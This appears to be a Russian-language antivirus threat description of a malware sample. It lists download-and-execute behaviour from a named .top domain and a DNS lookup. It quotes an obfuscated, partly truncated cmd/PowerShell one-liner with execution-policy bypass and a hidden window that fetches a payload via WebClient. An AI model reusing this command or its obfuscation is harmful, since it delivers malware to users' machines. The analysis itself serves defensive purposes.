Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pO^wEr^sHe^l^L.E^xE -eXE^CU^TIOnP^O^LI^CY^ byPAS^S -^Nop^rOF^I^l^E -W^iN^dOwsT^yLe^ H^iD^Den (nE^w^-^oB^J^EC^T S^y^STem.N^E^T^.^we^B^CLIENT).down^lo^a^DfILE(^'http://www.zoerpoled.to...
Сетевая активность
UDP
- DNS ASK zo###oled.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pO^wEr^sHe^l^L.E^xE -eXE^CU^TIOnP^O^LI^CY^ byPAS^S -^Nop^rOF^I^l^E -W^iN^dOwsT^yLe^ H^iD^Den (nE^w^-^oB^J^EC^T S^y^STem.N^E^T^.^we^B^CLIENT).down^lo^a^DfILE(^'http://www.zoerpoled.to...' (со скрытым окном)
